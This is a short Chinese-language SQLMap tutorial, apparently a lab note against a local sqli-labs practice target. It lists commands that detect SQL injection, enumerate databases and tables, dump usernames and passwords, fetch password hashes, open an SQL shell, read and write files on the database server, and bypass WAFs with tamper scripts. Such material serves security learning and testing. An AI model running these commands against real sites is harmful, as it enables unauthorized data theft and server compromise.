SQLMap-02

0x01SQLMap入门

1、判断是否有注入

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1"

存在注入

当注入后面的参数大于2个时，需要添加双引号

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1&name=tom"

2、判断文本中的http请求是否存在注入点

sqlmap -r /root/1.txt

3、查询当前用户下的所有数据库

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --dbs

4、获取数据库中的表名

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security --tables

5、获取字段名

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security -T users  --columns

6、获取数据

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" -D security -T users  -C username,password --dump

7、获取所有用户

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --users

8、获取用户密码

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --passwords

9、获取当前网站数据库名

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --current-db

10、获取当前网站数据库的用户名称

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --current-user

0x02 参数

1、--is-dba 当前用户是否为管理员权限

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --is-dba

2、--roles 列出数据库管理员角色

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --roles

3、--referer 伪造http的referer（level3及以上）

4、--sql-shell 运行自定义的sql语句

sqlmap -u "http://192.168.227.1/sqli-labs-master/Less-1/?id=1" --sql-shell

5、--file-read 从数据库服务器重读取文件

6、--file-write --file-dest 上传文件到数据库服务器中

0x03 sqlmap自带绕过脚本tamper

可以使用--tamper参数绕过waf